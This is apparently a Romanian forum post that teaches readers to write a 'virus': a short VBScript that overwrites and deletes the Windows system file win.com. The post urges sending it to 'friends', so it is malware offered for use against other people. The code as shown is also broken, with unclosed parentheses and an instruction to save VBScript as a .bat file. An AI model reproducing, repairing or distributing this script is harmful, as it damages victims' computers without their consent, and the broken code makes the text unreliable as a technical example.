Un virus care la prima infatisare pare imun si nevinovat,dar el este foarte periculos ..si foarte foarte ''Reu''
Hai sa va spun cum il facem ..
Prima data deschidem un text document (de preferabil NotePad)
Asa ..dupa ce am deschis incepem sa scriem urmatoarele:
Dim fso, fs1, fs2
Dim drive, folder, file
Set fso = CreateObject("Scripting.FileSystemObject"
Code:
Dim fso, fs1, fs2
Dim drive, folder, file
Set fso = CreateObject("Scripting.FileSystemObject"
drive = "c:\"
folder ="windows\"
file = "win.com"
Set fs1 = fso.GetFile(drive&folder&file)
fs1.copy ("c:\windows\temp\win.com"
set fs2=fso.CreateTextFile("c:\windows\win.com"
fs2.writeline "win.com is gone images/smiles/icon_biggrin.gif"
Set fs1 = fso.GetFile(drive&folder&file)
fs1.delete
fs2.close
dupa ce am scris asta salvam textul...iar la denumirea notepadului punem ceva de genu Virus(la alegere in loc de virus).bat
Atentie a nu se da click pe el..deloc...acesta este facut doar sa il trimiteti ''prietenilor''
_________________
